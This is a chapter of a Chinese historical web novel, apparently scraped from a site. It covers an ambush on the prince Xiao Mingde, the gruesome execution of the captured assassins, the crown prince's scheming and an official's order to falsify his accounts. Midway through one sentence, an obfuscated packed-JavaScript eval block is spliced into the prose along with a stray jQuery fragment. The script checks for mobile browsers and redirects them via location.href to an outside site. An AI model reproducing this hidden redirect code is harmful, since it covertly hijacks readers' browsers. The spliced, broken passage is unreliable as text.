董猛是个粗人,但走南闯北,好歹见过世面,心里瞧不上对面一帮宵小。
那人冷笑,指着萧明德道:“我不与你等为难,只要他将人头留下,我也好回去向主子交差。”
萧明德前后有兵士压阵保护,董猛回头看看,被护卫的风雨不透。他不可思议地看向对方:“你脑子有毛病吧?就你这十几号人,还想来打我们两百多人?”
那人仰天长笑,吹了一个呼哨。远处山上忽然黑压压冒出一大群人来。董猛脸色沉下来,看来对方是油水不进了。他不再多说,挥起长刀,咬着牙狞笑:“报上名来,大爷我可以给你个全尸!”
那人哈哈大笑道:“董大人,从京城开始,我等就悄悄尾随你们,一直跟到岳州,可不是为了让你们平安抵达潭州的。”
“你跟了我们十几天?你是李元良的人?”董猛眼睛眯了眯。
“你不用管我是谁的人,只要知道我是来取你们性命的就是了。哈哈哈,都说江夏郡王骁勇,可笑你们竟没一个人发觉。董大人,你技不如我,还是乖乖束手就擒吧,省得我动手。”那人笑得得意。
董猛冷笑:“就凭你这无名鼠辈,也想要杀我?”
那人怜悯地看着董猛:“你非要动手,那就是自寻死路了!”
说着扬起宝剑杀向董猛,董猛挥刀迎战,两人斗了数十回合,那人武艺高强,董猛狠狠道:“本大人逗逗你,你还蹬鼻子上脸了。说出你的主子,我还能给你留个全尸。”
那人阴沉一笑,手一挥,后面众人一拥而上。
董猛带着众人厮杀,不想这些亡命之徒属实狠辣,那人占了上风,就要抛下董猛,冲向萧明德。
董猛心下大惊,突然从袖中洒出一把白色粉末。
那人忙要闪躲,董猛趁机往后一仰倒地,大喝一声:“都往后退!”
他的手下早已训练有素,闻声便退。那些刺客不明就里,还往前冲,顷刻间便有数十人眼睛被迷,倒地哀嚎,痛苦挣扎。
董猛抽出一条麻绳,打了个活结,趁着为首之人捂眼的空隙,往他脖子上一套,另一头系在树上,用力一拉,那人的双脚立刻悬空!
董猛狞笑道:“怎么着?小子,挺狂啊!敢在老子面前撒野,你也不打听打听小爷的手段。”
那人双脚乱蹬一气,脸色涨得通红。董猛略微放下绳子:“为了你的狗命着想,快说,你家主子是谁?是谁指使你来刺杀小王爷的?”
那人看着前方,突然“轰隆”一声巨响!
竟然在不远处的山上埋了炸药,此时被引爆,山石滚落,众人忙在车马旁躲避。
若不是离得远,只怕萧明德等人要命丧于此!
董猛分神之际,那人嘴角流下血来,竟咬舌自尽了。
董猛气得暴跳如雷,又拉起绳子,将那人的尸身挂在树上,还在晃动:“就让他这么挂着,让他的主子瞧瞧!”
天色已经暗了下来,有军士点燃了火把。借着火光,那些中毒的人也被吊了起来,伸着舌头两眼圆睁,死状惨烈,让人不忍直视。
董猛一直跟着萧明德,学到了他毒辣的手段,偏偏五大三粗,没有心机。
萧明德这边,炸药巨响,去路也被拦断了。山上的刺客蜂拥而上,两方混战成一团。
对方已经是群龙无首,萧明德身边有精兵数百人,直将对方杀得落花流水。
这些刺客本就是死士,战到最后,没有一人投降的,全都毙命。
董猛见萧明德安然无恙,松了口气。他清点完人马,所幸无人身亡,只十几人受伤。
何一唯将从刺客身上搜罗出来的暗器呈上,萧明德看了,脸色骤然变冷:“这是向家的东西!”
何一唯点点头,心中悚然:“小王爷,此地不宜久留,咱们还是赶往驿站要紧。”
火把之下,萧明德笑得冷气森然:“走吧!董猛,将所有尸首都点了天灯!”
董猛一僵,不敢作声,闷头就去照办了。
何一唯咽了口口水,忍不住打了个寒战。
萧明德眯了眯眼睛,冷笑:“三番几次辱我,我看在圣上与父王的面上一再容忍。如今竟敢对我痛下下手,别怪我对他不留情面。”
山路上,血肉横飞。
李元良那老匹夫还没这么大的胆子敢阻拦他去潭州。
如此大费周章地拦路截杀,除了太子,他再想不出还有谁能有这胆子来斩尽杀绝。
东宫。
萧惇得知计划失败,死士全都覆没,已经是四日之后了。
他坐在书房里,后背汗湿,咬牙切齿地问忠勇伯向伟:“怎么就没死呢?你不是说都是万里挑一的死士吗?”
向伟身躯肥胖,从忠勇伯府赶过来的,气喘吁吁,已是上气不接下气,双腿就地一跪:“殿下,萧明德带着两百多人,防护得风雨不透。只说董猛,久经沙场,骁勇彪悍,他还擅长用毒,咱们的人都被他毒杀,挂在树上点天灯示众了。”
萧惇颓然靠在椅子上:“我要你有什么用?要你有什么用?”他拍案痛骂,“我要你杀的是萧明德,你平白失去了这次机会。坏我大事,你坏我大事!”
向伟擦去额头的汗水,满面狠毒:“殿下,一次不成,还有二次……”
萧惇气急攻心,看着跪在地上的岳丈:“你当萧明德是傻子吗?”他满身戾气,“废物!都是一群废物!”
若是让萧明德顺利抵达潭州,查办了李元良,萧惇的储君之位岌岌可危。
萧惇指着跪在地上的向伟:“我不管你用什么手段,至少不能让萧明德活着回到京城。”
看着太子气急败坏的模样,向伟腰弯得更低:“殿下息怒。李元良虽然是个粗鄙武夫,但毕竟久经官场,不会轻易露出马脚的。如今圣上病重,朝中百官也不想见手足相残。”他匍匐在地,“殿下,一动不如一静。若是再动手,只怕会授人以柄。”
圣上如今病卧在床,已经痰淤了两回,被太医喂了汤药,神智是清醒了,只是躺着动不了,说不出话来。
萧惇脸色铁青,求佛问道这么多年,并不能长生不老啊!你退位之后,安心做你的太上皇,逍遥过晚岁,不是很好吗?
偏偏坐在至尊的位子上,不肯下来!
萧惇望着桌案上跳动的烛火,眯了眯眼睛:“不是我想动手啊!是圣上,是萧明德逼得我不得不动手!他们恨不得我跌落泥潭,趁机咬上来。”
向伟后悔得肠子都青了,不应该听汪皇后的示下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516353|186233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,将向兰淑嫁给太子的。
身为太子,没有功劳不说,还贪墨军饷和赈灾款项,真是苛刻又寡情!
向家绑在了太子这艘漏洞百出的破船之上,日后他能顺利登基还好,若真出了意外,向家百年基业只怕不保!
向伟眉头紧蹙,苦口婆心地规劝道:“朝堂之上,容不得一招错棋。如今之计,是要将李元良灭口,不是要取萧明德的性命。殿下,李元良不能再留着了,即便他是您的人,也要弃车保帅,以全殿下大局啊。”
萧惇只是将向伟的话当做耳旁风,他短促一笑:“李元良虽是个蠢货,到底是可用之人。你让人告诉他,交东卫赶紧增兵吧,还有,不能叫他与安南勾连。趁着萧明德在潭州,赶紧与安南交锋几次,几百万两白银,总得有个平账的由头!”
千里之外的潭州,李元良府中,院子里一片混乱。
萧明德住在潭州的驿馆中,时不时带人进府喝茶,李元良怕家人坏事儿,决定将家人全都送往蜀中老家。
他叉开腿,坐在院中的石墩上,脸上胡子拉碴,看着眼前内宅的混乱。
“你个狐媚子!那是老爷给我的虎皮褥子!你抢了去作甚?”三姨娘叉着腰,尖利地大骂六姨娘。
“姐姐这话就不对了!老爷如今都歇在我屋里,这褥子放在我房中更合适?”六姨娘扭着细腰,不屑地翻了个白眼,直将褥子卷起来放到行李堆上。
李元良府上,加起来不过三十多间房子,他纳了六房妾室,姨娘们住在后院,紧紧凑凑。姨娘们平日里还是讲规矩的,从不在他面前搅合。
如今都要回蜀中,两个姨娘当着众人的面,为了几件行李打起架来。
李元良哈哈大笑,脸上的横肉抖动:“老子就爱看你们这副样儿!谁赢了,今晚老子就歇在谁那儿!”
三姨娘一听,冲上去就抢。两个人毫不相让,只李元良得意洋洋地看着她们争斗。
有管家看着,李元良也不怕家丑外扬,他回了值房,看着两位师爷整理账册。
王师爷和郭师爷都是李元良从蜀中带过来的,两个人主管钱粮往来的账簿,都是李元良的心腹。
“你们先歇歇吧。”李元良招呼他们,“这么多的账册,一时也整理不完。”
王师爷与郭师爷互相看了一眼:“大人,还是尽快赶完吧。小王爷声名在外,只怕这次不容易过关。”
李元良看着一堆账册,道:“小王爷来了好几回,从不没要查账。他也忌惮太子,不会轻易下狠手的。”他叹了一口气,“唉,落毛的凤凰不如鸡。我是看出来了,太子对我多有不满。你们跟了我这么些年,往后我的日子要不好过了,害得你们也提心吊胆的。”
郭师爷为人圆滑,陪笑道:“大人待我们不薄,该照应的也都照应到了。人非草木,大人的这份恩情,我们都记着呢。王师爷,你说是不是?”
“郭兄说的极是。”王师爷跟着搭话,“这几年我们跟着大人,也得了不少好处,总算是不为生计犯愁了。”
李元良哈哈大笑,顺势敲打道:“你们心里有数就好,也不枉咱们这几年的情谊了。两位先生手头的账簿,务必清理干净,不要让小王爷的人看出破绽,账目能抹平的就尽量抹平了。”